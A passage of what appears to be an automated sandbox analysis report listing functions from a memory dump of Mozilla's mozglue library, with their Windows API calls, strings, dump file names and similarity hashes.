wintrust.dll, xrefs: 6CAF00D3

Memory Dump Source

Source File: 00000013.00000002.2594704850.000000006CAB1000.00000020.00000001.01000000.00000015.sdmp, Offset: 6CAB0000, based on PE: true

Associated: 00000013.00000002.2594494395.000000006CAB0000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 00000013.00000002.2595229008.000000006CB2D000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 00000013.00000002.2595422650.000000006CB3E000.00000004.00000001.01000000.00000015.sdmpDownload File
Associated: 00000013.00000002.2596279834.000000006CB42000.00000002.00000001.01000000.00000015.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_6cab0000_cda9e1cbbc.jbxd

Similarity

API ID: Library$AddressFreeLoadProc
String ID: CryptCATAdminCalcHashFromFileHandle2$wintrust.dll
API String ID: 145871493-2559046807
Opcode ID: 8058693a65556c4d86a8e2d5b9193b14678684d37e2bb7f7edf25a9cc953b903
Instruction ID: 44e035df02d1599583e3c14c1a0473857c594c0e68befb0b56b69336440cbf10
Opcode Fuzzy Hash: 8058693a65556c4d86a8e2d5b9193b14678684d37e2bb7f7edf25a9cc953b903
Instruction Fuzzy Hash: F6E04674385365DBEF249F29CA09B2A3BF8E703206F144859ED1E83A80DBB0C080CB10

Function 6CAF01C0 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 20libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(wintrust.dll,?,6CAC7266), ref: 6CAF01C8
GetProcAddress.KERNEL32(00000000,CryptCATAdminReleaseContext), ref: 6CAF01E7
FreeLibrary.KERNEL32(?,6CAC7266), ref: 6CAF01FE

Strings

CryptCATAdminReleaseContext, xrefs: 6CAF01E1
wintrust.dll, xrefs: 6CAF01C3

Memory Dump Source

Source File: 00000013.00000002.2594704850.000000006CAB1000.00000020.00000001.01000000.00000015.sdmp, Offset: 6CAB0000, based on PE: true

Associated: 00000013.00000002.2594494395.000000006CAB0000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 00000013.00000002.2595229008.000000006CB2D000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 00000013.00000002.2595422650.000000006CB3E000.00000004.00000001.01000000.00000015.sdmpDownload File
Associated: 00000013.00000002.2596279834.000000006CB42000.00000002.00000001.01000000.00000015.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_6cab0000_cda9e1cbbc.jbxd

Similarity

API ID: Library$AddressFreeLoadProc
String ID: CryptCATAdminReleaseContext$wintrust.dll
API String ID: 145871493-1489773717
Opcode ID: 804ca6364bc62574c3cc33fd80b37d3824c7e364d74138eafd7f4c030228af7b
Instruction ID: ad110b88d2c4eb1ac67da29d5bbe290118428bd92ec231b1c9b63c43e8645af0
Opcode Fuzzy Hash: 804ca6364bc62574c3cc33fd80b37d3824c7e364d74138eafd7f4c030228af7b
Instruction Fuzzy Hash: 72E0E5742803E1DAEF249B69880870A3BF8AB03346F004855BD1DC3690DB7080449F20

Function 6CAF0120 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 20libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(wintrust.dll,?,6CAC7297), ref: 6CAF0128
GetProcAddress.KERNEL32(00000000,CryptCATAdminEnumCatalogFromHash), ref: 6CAF0147
FreeLibrary.KERNEL32(?,6CAC7297), ref: 6CAF015E

Strings

CryptCATAdminEnumCatalogFromHash, xrefs: 6CAF0141
wintrust.dll, xrefs: 6CAF0123

Memory Dump Source

Source File: 00000013.00000002.2594704850.000000006CAB1000.00000020.00000001.01000000.00000015.sdmp, Offset: 6CAB0000, based on PE: true

Associated: 00000013.00000002.2594494395.000000006CAB0000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 00000013.00000002.2595229008.000000006CB2D000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 00000013.00000002.2595422650.000000006CB3E000.00000004.00000001.01000000.00000015.sdmpDownload File
Associated: 00000013.00000002.2596279834.000000006CB42000.00000002.00000001.01000000.00000015.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_6cab0000_cda9e1cbbc.jbxd

Similarity

API ID: Library$AddressFreeLoadProc
String ID: CryptCATAdminEnumCatalogFromHash$wintrust.dll
API String ID: 145871493-1536241729
Opcode ID: b4120172ad88a43c043c163e5a0bc1a96eee73a53c28d829fec57f1d9ddfc454
Instruction ID: c57625ceb7acd0fb756b172a6a4333d95f57727f1f80638c22e2b00f74d21306
Opcode Fuzzy Hash: b4120172ad88a43c043c163e5a0bc1a96eee73a53c28d829fec57f1d9ddfc454
Instruction Fuzzy Hash: 7FE012752082A4DBEF246F2ED80872A3BF8A703346F004559AE1DC3B90DBB0C440CF18

Function 6CAF0170 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 20libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(wintrust.dll,?,6CAC7308), ref: 6CAF0178
GetProcAddress.KERNEL32(00000000,CryptCATCatalogInfoFromContext), ref: 6CAF0197
FreeLibrary.KERNEL32(?,6CAC7308), ref: 6CAF01AE

Strings

wintrust.dll, xrefs: 6CAF0173
CryptCATCatalogInfoFromContext, xrefs: 6CAF0191

Memory Dump Source

Source File: 00000013.00000002.2594704850.000000006CAB1000.00000020.00000001.01000000.00000015.sdmp, Offset: 6CAB0000, based on PE: true

Associated: 00000013.00000002.2594494395.000000006CAB0000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 00000013.00000002.2595229008.000000006CB2D000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 00000013.00000002.2595422650.000000006CB3E000.00000004.00000001.01000000.00000015.sdmpDownload File
Associated: 00000013.00000002.2596279834.000000006CB42000.00000002.00000001.01000000.00000015.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_6cab0000_cda9e1cbbc.jbxd

Similarity

API ID: Library$AddressFreeLoadProc
String ID: CryptCATCatalogInfoFromContext$wintrust.dll
API String ID: 145871493-3354427110
Opcode ID: 4d8ee7ebc25b0402d0b39ca03c412f5d566177a0d4c53d63339c2d2f2ba86f37
Instruction ID: c2dcb8b679338b444d82586ea785ec81bf849a4a633880136743f8231236a9de
Opcode Fuzzy Hash: 4d8ee7ebc25b0402d0b39ca03c412f5d566177a0d4c53d63339c2d2f2ba86f37
Instruction Fuzzy Hash: 06E04F74681360DBEF245F69CA08B09BBF8B703346F140896EE9E837C0DB748080CB14

Function 6CB1C410 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 19libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(ntdll.dll,?,6CB1C0E9), ref: 6CB1C418
GetProcAddress.KERNEL32(00000000,NtQueryVirtualMemory), ref: 6CB1C437
FreeLibrary.KERNEL32(?,6CB1C0E9), ref: 6CB1C44C

Strings

ntdll.dll, xrefs: 6CB1C413
NtQueryVirtualMemory, xrefs: 6CB1C431

Memory Dump Source

Source File: 00000013.00000002.2594704850.000000006CAB1000.00000020.00000001.01000000.00000015.sdmp, Offset: 6CAB0000, based on PE: true

Associated: 00000013.00000002.2594494395.000000006CAB0000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 00000013.00000002.2595229008.000000006CB2D000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 00000013.00000002.2595422650.000000006CB3E000.00000004.00000001.01000000.00000015.sdmpDownload File
Associated: 00000013.00000002.2596279834.000000006CB42000.00000002.00000001.01000000.00000015.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_6cab0000_cda9e1cbbc.jbxd

Similarity

API ID: Library$AddressFreeLoadProc
String ID: NtQueryVirtualMemory$ntdll.dll
API String ID: 145871493-2623246514
Opcode ID: 7bbff66589d85f628602e04c167194a7a638d46b984934f868ff2450661ebf38
Instruction ID: b6d277eec59c8f67f418ea6ffb7c81b33c9d0353a470e1275d7ba86ab3252754
Opcode Fuzzy Hash: 7bbff66589d85f628602e04c167194a7a638d46b984934f868ff2450661ebf38
Instruction Fuzzy Hash: 14E04F78208320EBDF247F35C908B193FF8E707206F004565AE0C83650DB74C4048B00

Function 6CB175B0 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 19libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(ntdll.dll,?,6CB1748B,?), ref: 6CB175B8
GetProcAddress.KERNEL32(00000000,RtlNtStatusToDosError), ref: 6CB175D7
FreeLibrary.KERNEL32(?,6CB1748B,?), ref: 6CB175EC

Strings

ntdll.dll, xrefs: 6CB175B3
RtlNtStatusToDosError, xrefs: 6CB175D1

Memory Dump Source

Source File: 00000013.00000002.2594704850.000000006CAB1000.00000020.00000001.01000000.00000015.sdmp, Offset: 6CAB0000, based on PE: true

Associated: 00000013.00000002.2594494395.000000006CAB0000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 00000013.00000002.2595229008.000000006CB2D000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 00000013.00000002.2595422650.000000006CB3E000.00000004.00000001.01000000.00000015.sdmpDownload File
Associated: 00000013.00000002.2596279834.000000006CB42000.00000002.00000001.01000000.00000015.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_6cab0000_cda9e1cbbc.jbxd

Similarity

API ID: Library$AddressFreeLoadProc
String ID: RtlNtStatusToDosError$ntdll.dll
API String ID: 145871493-3641475894
Opcode ID: d653c5c5a1da140eca2b889aa8c0ed3773e6d708a3c8c3a15439ece37c2f7a26
Instruction ID: d295504e8db0e202b917aa764dad6f97103a169af583b694f7ec28cbf637c10f
Opcode Fuzzy Hash: d653c5c5a1da140eca2b889aa8c0ed3773e6d708a3c8c3a15439ece37c2f7a26
Instruction Fuzzy Hash: 39E0B675704761FBEF206FA6C94C7097FF8EB56218F10546AA90DD3A80EBB58441CF91

Function 6CB17600 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 19libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(ntdll.dll,?,6CB17592), ref: 6CB17608
GetProcAddress.KERNEL32(00000000,NtUnmapViewOfSection), ref: 6CB17627
FreeLibrary.KERNEL32(?,6CB17592), ref: 6CB1763C

Strings

ntdll.dll, xrefs: 6CB17603
NtUnmapViewOfSection, xrefs: 6CB17621

Memory Dump Source

Source File: 00000013.00000002.2594704850.000000006CAB1000.00000020.00000001.01000000.00000015.sdmp, Offset: 6CAB0000, based on PE: true

Associated: 00000013.00000002.2594494395.000000006CAB0000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 00000013.00000002.2595229008.000000006CB2D000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 00000013.00000002.2595422650.000000006CB3E000.00000004.00000001.01000000.00000015.sdmpDownload File
Associated: 00000013.00000002.2596279834.000000006CB42000.00000002.00000001.01000000.00000015.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_6cab0000_cda9e1cbbc.jbxd

Similarity

API ID: Library$AddressFreeLoadProc
String ID: NtUnmapViewOfSection$ntdll.dll
API String ID: 145871493-1050664331
Opcode ID: 4a48b1b3e432275a6d943f07387237f27bfd97f53d3b5cad137590fec3027736
Instruction ID: eef958497da48f82aeee8bf8ca497905c1fafe4f39474246b95ae35c8c49faab
Opcode Fuzzy Hash: 4a48b1b3e432275a6d943f07387237f27bfd97f53d3b5cad137590fec3027736
Instruction Fuzzy Hash: 3AE01A74304760EBDF205FA9C80C7093BB8E72A258F104455E90DD3654D7B580008F44

Function 6CB1C1F0 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 19libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(wintrust.dll,?,6CB1C1DE,?,00000000,?,00000000,?,6CAC779F), ref: 6CB1C1F8
GetProcAddress.KERNEL32(00000000,WinVerifyTrust), ref: 6CB1C217
FreeLibrary.KERNEL32(?,6CB1C1DE,?,00000000,?,00000000,?,6CAC779F), ref: 6CB1C22C

Strings

wintrust.dll, xrefs: 6CB1C1F3
WinVerifyTrust, xrefs: 6CB1C211

Memory Dump Source

Source File: 00000013.00000002.2594704850.000000006CAB1000.00000020.00000001.01000000.00000015.sdmp, Offset: 6CAB0000, based on PE: true

Associated: 00000013.00000002.2594494395.000000006CAB0000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 00000013.00000002.2595229008.000000006CB2D000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 00000013.00000002.2595422650.000000006CB3E000.00000004.00000001.01000000.00000015.sdmpDownload File
Associated: 00000013.00000002.2596279834.000000006CB42000.00000002.00000001.01000000.00000015.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_6cab0000_cda9e1cbbc.jbxd

Similarity

API ID: Library$AddressFreeLoadProc
String ID: WinVerifyTrust$wintrust.dll
API String ID: 145871493-2991032369
Opcode ID: 04aa3948e35d269c04afc73c90c49206a01c30aa70ff05aec6ce0fefb2a4d366
Instruction ID: e5acbf540a4c25f90432c83c7aaaa829d37f3851062d0eb2bc1493eb2c4b09eb
Opcode Fuzzy Hash: 04aa3948e35d269c04afc73c90c49206a01c30aa70ff05aec6ce0fefb2a4d366
Instruction Fuzzy Hash: F2E0BF742057A1DBDF247F66C908B09BFF8AB06216F000565BD0CC3A55D77584048B61

Function 6CB1BAB0 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 19libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(kernelbase.dll,?,6CAC05BC), ref: 6CB1BAB8
GetProcAddress.KERNEL32(00000000,VirtualAlloc2), ref: 6CB1BAD7
FreeLibrary.KERNEL32(?,6CAC05BC), ref: 6CB1BAEC

Strings

kernelbase.dll, xrefs: 6CB1BAB3
VirtualAlloc2, xrefs: 6CB1BAD1

Memory Dump Source

Source File: 00000013.00000002.2594704850.000000006CAB1000.00000020.00000001.01000000.00000015.sdmp, Offset: 6CAB0000, based on PE: true

Associated: 00000013.00000002.2594494395.000000006CAB0000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 00000013.00000002.2595229008.000000006CB2D000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 00000013.00000002.2595422650.000000006CB3E000.00000004.00000001.01000000.00000015.sdmpDownload File
Associated: 00000013.00000002.2596279834.000000006CB42000.00000002.00000001.01000000.00000015.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_6cab0000_cda9e1cbbc.jbxd

Similarity

API ID: Library$AddressFreeLoadProc
String ID: VirtualAlloc2$kernelbase.dll
API String ID: 145871493-1188699709
Opcode ID: 96026c620d0b382bb037bb702b26e4a6bb6f25a182bcf7f383c89795cdeb3b7a
Instruction ID: 63b725415ac64d1e0fad723efb41745b0bfa91788eb7009012a865f4554dbbb1
Opcode Fuzzy Hash: 96026c620d0b382bb037bb702b26e4a6bb6f25a182bcf7f383c89795cdeb3b7a
Instruction Fuzzy Hash: BDE092B42057A6DBDB249F66CA18B0D7BF8E706216F14085EAD0C83A84FBB580048A11

Function 6CB1BE50 Relevance: 7.7, APIs: 5, Instructions: 163memoryCOMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(?,00000000,?,?,6CB1BE49), ref: 6CB1BEC4
RtlCaptureStackBackTrace.NTDLL ref: 6CB1BEDE
memset.VCRUNTIME140(00000000,00000000,-00000008,?,6CB1BE49), ref: 6CB1BF38
RtlReAllocateHeap.NTDLL ref: 6CB1BF83
RtlFreeHeap.NTDLL(6CB1BE49,00000000), ref: 6CB1BFA6

Memory Dump Source

Source File: 00000013.00000002.2594704850.000000006CAB1000.00000020.00000001.01000000.00000015.sdmp, Offset: 6CAB0000, based on PE: true

Associated: 00000013.00000002.2594494395.000000006CAB0000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 00000013.00000002.2595229008.000000006CB2D000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 00000013.00000002.2595422650.000000006CB3E000.00000004.00000001.01000000.00000015.sdmpDownload File
Associated: 00000013.00000002.2596279834.000000006CB42000.00000002.00000001.01000000.00000015.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_6cab0000_cda9e1cbbc.jbxd

Similarity

API ID: Heapmemset$AllocateBackCaptureFreeStackTrace
String ID:
API String ID: 2764315370-0
Opcode ID: 5fd4b04aa0a87654aa71260da930795f629bb35ece88a9f2f19c77c0aff5d093
Instruction ID: 2e82030cfa83729e0cd8966fe1c88b89b60372d12e12eebb0225d304b87d06a2
Opcode Fuzzy Hash: 5fd4b04aa0a87654aa71260da930795f629bb35ece88a9f2f19c77c0aff5d093
Instruction Fuzzy Hash: 3C5193B1A042458FEB14CF69CD80BAAB3A6FF88314F294639D519A7F54D734F9068B81

Function 6CB08E00 Relevance: 7.6, APIs: 6, Instructions: 147COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000001,?,?,6CAFB58D,?,?,?,?,?,?,?,6CB2D734,?,?,?,6CB2D734), ref: 6CB08E6E
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000004,?,?,6CAFB58D,?,?,?,?,?,?,?,6CB2D734,?,?,?,6CB2D734), ref: 6CB08EBF
free.MOZGLUE(?,?,?,?,6CAFB58D,?,?,?,?,?,?,?,6CB2D734,?,?,?), ref: 6CB08F24
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000004,?,?,6CAFB58D,?,?,?,?,?,?,?,6CB2D734,?,?,?,6CB2D734), ref: 6CB08F46
free.MOZGLUE(?,?,?,?,6CAFB58D,?,?,?,?,?,?,?,6CB2D734,?,?,?), ref: 6CB08F7A
free.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,?,?,?,6CAFB58D,?,?,?,?,?,?,?,6CB2D734,?,?,?), ref: 6CB08F8F

Memory Dump Source

Source File: 00000013.00000002.2594704850.000000006CAB1000.00000020.00000001.01000000.00000015.sdmp, Offset: 6CAB0000, based on PE: true

Associated: 00000013.00000002.2594494395.000000006CAB0000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 00000013.00000002.2595229008.000000006CB2D000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 00000013.00000002.2595422650.000000006CB3E000.00000004.00000001.01000000.00000015.sdmpDownload File
Associated: 00000013.00000002.2596279834.000000006CB42000.00000002.00000001.01000000.00000015.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_6cab0000_cda9e1cbbc.jbxd

Similarity

API ID: freemalloc
String ID:
API String ID: 3061335427-0
Opcode ID: ad9401e49ac60883666282b6b75f112ed271653d2edfa8d8585928a8dd7ee18d
Instruction ID: 86a0e2025ba2015f1acac2a3ffd00ee3398b754263800f6a2a0e4ff2fb8b4605
Opcode Fuzzy Hash: ad9401e49ac60883666282b6b75f112ed271653d2edfa8d8585928a8dd7ee18d
Instruction Fuzzy Hash: D35190B5B012568FEF10CF64D88066E7BB6FB44308F15096AD516AB740E732FA04CB92

Function 6CAC60E0 Relevance: 7.6, APIs: 6, Instructions: 141COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000004,00000000,?,6CAC5FDE,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6CAC60F4
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(?,00000000,?,6CAC5FDE,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6CAC6180
free.MOZGLUE(?,?,?,?,6CAC5FDE,?,?,?,?,?,?,?,?,?,?,00000000), ref: 6CAC6211
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000004,00000000,?,6CAC5FDE,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6CAC6229
free.MOZGLUE(?,?,?,?,6CAC5FDE,?,?,?,?,?,?,?,?,?,?,00000000), ref: 6CAC625E
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,6CAC5FDE,?,?,?,?,?,?,?,?,?,?,00000000), ref: 6CAC6271

Memory Dump Source

Source File: 00000013.00000002.2594704850.000000006CAB1000.00000020.00000001.01000000.00000015.sdmp, Offset: 6CAB0000, based on PE: true

Associated: 00000013.00000002.2594494395.000000006CAB0000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 00000013.00000002.2595229008.000000006CB2D000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 00000013.00000002.2595422650.000000006CB3E000.00000004.00000001.01000000.00000015.sdmpDownload File
Associated: 00000013.00000002.2596279834.000000006CB42000.00000002.00000001.01000000.00000015.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_6cab0000_cda9e1cbbc.jbxd

Similarity

API ID: freemalloc
String ID:
API String ID: 3061335427-0
Opcode ID: 7e28ae52f3f48f88e4acb346700b1a239f9b7bfe8c4faacf29aa6c25a0afe909
Instruction ID: e02989d879d1c448e94793b7857eded900ecfe9c4f369811c2db6422ef92b414
Opcode Fuzzy Hash: 7e28ae52f3f48f88e4acb346700b1a239f9b7bfe8c4faacf29aa6c25a0afe909
Instruction Fuzzy Hash: 14518FB1B002068FEB14CFA8D8807AEB7B5EF45308F140539D516D7751E731E998CB52

Function 6CB027E0 Relevance: 7.6, APIs: 6, Instructions: 136COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000001,?,6CB02620,?,?,?,6CAF60AA,6CAF5FCB,6CAF79A3), ref: 6CB0284D
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000004,?,6CB02620,?,?,?,6CAF60AA,6CAF5FCB,6CAF79A3), ref: 6CB0289A
free.MOZGLUE(?,?,?,6CB02620,?,?,?,6CAF60AA,6CAF5FCB,6CAF79A3), ref: 6CB028F1
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000004,?,6CB02620,?,?,?,6CAF60AA,6CAF5FCB,6CAF79A3), ref: 6CB02910
free.MOZGLUE(00000001,?,?,6CB02620,?,?,?,6CAF60AA,6CAF5FCB,6CAF79A3), ref: 6CB0293C
free.API-MS-WIN-CRT-HEAP-L1-1-0(00200000,?,?,6CB02620,?,?,?,6CAF60AA,6CAF5FCB,6CAF79A3), ref: 6CB0294E

Memory Dump Source

Source File: 00000013.00000002.2594704850.000000006CAB1000.00000020.00000001.01000000.00000015.sdmp, Offset: 6CAB0000, based on PE: true

Associated: 00000013.00000002.2594494395.000000006CAB0000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 00000013.00000002.2595229008.000000006CB2D000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 00000013.00000002.2595422650.000000006CB3E000.00000004.00000001.01000000.00000015.sdmpDownload File
Associated: 00000013.00000002.2596279834.000000006CB42000.00000002.00000001.01000000.00000015.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_6cab0000_cda9e1cbbc.jbxd

Similarity

API ID: freemalloc
String ID:
API String ID: 3061335427-0
Opcode ID: 1534ee33c1087ec1069311c7c0b18649e454ebf280b554fa634343e80c910d19
Instruction ID: cb7b9a2c7653e91d79027c396af7bfa7f47b47c8bafff2d67f2afb9839fd6b9f
Opcode Fuzzy Hash: 1534ee33c1087ec1069311c7c0b18649e454ebf280b554fa634343e80c910d19
Instruction Fuzzy Hash: 1641ADB5B006468FEB14CF68D88876A7BF6EF45308F250939D55AEB740E731E908CB52

Function 6CABCFE0 Relevance: 7.6, APIs: 4, Strings: 1, Instructions: 134memoryCOMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6CB3E784), ref: 6CABCFF6
LeaveCriticalSection.KERNEL32(6CB3E784), ref: 6CABD026
VirtualAlloc.KERNEL32(00000000,00100000,00001000,00000004), ref: 6CABD06C
VirtualFree.KERNEL32(00000000,00100000,00004000), ref: 6CABD139

Strings

MOZ_CRASH(), xrefs: 6CABD187

Memory Dump Source

Source File: 00000013.00000002.2594704850.000000006CAB1000.00000020.00000001.01000000.00000015.sdmp, Offset: 6CAB0000, based on PE: true

Associated: 00000013.00000002.2594494395.000000006CAB0000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 00000013.00000002.2595229008.000000006CB2D000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 00000013.00000002.2595422650.000000006CB3E000.00000004.00000001.01000000.00000015.sdmpDownload File
Associated: 00000013.00000002.2596279834.000000006CB42000.00000002.00000001.01000000.00000015.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_6cab0000_cda9e1cbbc.jbxd

Similarity

API ID: CriticalSectionVirtual$AllocEnterFreeLeave
String ID: MOZ_CRASH()
API String ID: 1090480015-2608361144
Opcode ID: 47e19b77c524f820c971d194bc885a9796ccf3ba91025e5a0d952f3205455e67
Instruction ID: f2e8ff9874a9154cf5dd01790cae71c1907f5cb89fbc508b2eeda2299c803c5b
Opcode Fuzzy Hash: 47e19b77c524f820c971d194bc885a9796ccf3ba91025e5a0d952f3205455e67
Instruction Fuzzy Hash: 7541CE32F016168FCB248E6C8C983AE76B8EB59714F14013AEA1DF7788D7B19C408BC0

Function 6CAB4DE0 Relevance: 7.6, APIs: 5, Instructions: 133stringCOMMON

Download Yara Rule

APIs

?DoubleToAscii@DoubleToStringConverter@double_conversion@@SAXNW4DtoaMode@12@HPADHPA_NPAH3@Z.MOZGLUE ref: 6CAB4E5A
?CreateDecimalRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHHPAVStringBuilder@2@@Z.MOZGLUE(?,?,?,?,?), ref: 6CAB4E97
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CAB4EE9
memcpy.VCRUNTIME140(?,?,00000000), ref: 6CAB4F02
?CreateExponentialRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHPAVStringBuilder@2@@Z.MOZGLUE(?,?,?,?), ref: 6CAB4F1E

Memory Dump Source

Source File: 00000013.00000002.2594704850.000000006CAB1000.00000020.00000001.01000000.00000015.sdmp, Offset: 6CAB0000, based on PE: true

Associated: 00000013.00000002.2594494395.000000006CAB0000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 00000013.00000002.2595229008.000000006CB2D000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 00000013.00000002.2595422650.000000006CB3E000.00000004.00000001.01000000.00000015.sdmpDownload File
Associated: 00000013.00000002.2596279834.000000006CB42000.00000002.00000001.01000000.00000015.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_6cab0000_cda9e1cbbc.jbxd

Similarity

API ID: String$Double$Converter@double_conversion@@$Builder@2@@CreateRepresentation@$Ascii@DecimalDtoaExponentialMode@12@memcpystrlen
String ID:
API String ID: 713647276-0
Opcode ID: 7495eac82062989c1601530d1fc17e2a5a17bd03cabc8528c7035486054b9aab
Instruction ID: 05bdc37c34910ba83c62afcc2b1b011afd4b152f0328d8af91d08502a736d977
Opcode Fuzzy Hash: 7495eac82062989c1601530d1fc17e2a5a17bd03cabc8528c7035486054b9aab
Instruction Fuzzy Hash: D841BF716047019FC705CF69C48099BBBF8FF89344F148A1DF465A7641D730E998CB91

Function 6CACC150 Relevance: 7.6, APIs: 5, Instructions: 110stringtimeCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0 ref: 6CACC1BC
?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6CACC1DC

Memory Dump Source

Source File: 00000013.00000002.2594704850.000000006CAB1000.00000020.00000001.01000000.00000015.sdmp, Offset: 6CAB0000, based on PE: true

Associated: 00000013.00000002.2594494395.000000006CAB0000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 00000013.00000002.2595229008.000000006CB2D000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 00000013.00000002.2595422650.000000006CB3E000.00000004.00000001.01000000.00000015.sdmpDownload File
Associated: 00000013.00000002.2596279834.000000006CB42000.00000002.00000001.01000000.00000015.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_6cab0000_cda9e1cbbc.jbxd

Similarity

API ID: Now@Stamp@mozilla@@TimeV12@_strlen
String ID:
API String ID: 1885715127-0
Opcode ID: e9403c3968be1ad0538fb4ae047fb692a8b8c63199f20a9bc2a5331aa339d412
Instruction ID: e493c587ca99c9e5409878de6c7621ee3ae8562910d7d206fe0de74d7670631c
Opcode Fuzzy Hash: e9403c3968be1ad0538fb4ae047fb692a8b8c63199f20a9bc2a5331aa339d412
Instruction Fuzzy Hash: 6C4190B5A083408FD710EF64D58079AB7F4AF99308F45855DE8989B712E770E988CB93

Function 6CB1A820 Relevance: 7.6, APIs: 5, Instructions: 106stringCOMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6CB3F770), ref: 6CB1A858
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CB1A87B

Part of subcall function 6CB1A9D0: memcpy.VCRUNTIME140(?,?,00000400,?,?,?,6CB1A88F,00000000), ref: 6CB1A9F1

_ltoa_s.API-MS-WIN-CRT-CONVERT-L1-1-0(?,?,00000020,0000000A), ref: 6CB1A8FF
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CB1A90C
LeaveCriticalSection.KERNEL32(6CB3F770), ref: 6CB1A97E

Memory Dump Source

Source File: 00000013.00000002.2594704850.000000006CAB1000.00000020.00000001.01000000.00000015.sdmp, Offset: 6CAB0000, based on PE: true

Associated: 00000013.00000002.2594494395.000000006CAB0000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 00000013.00000002.2595229008.000000006CB2D000.00000002.00000001.01000000.00000015.sdmpDownload File
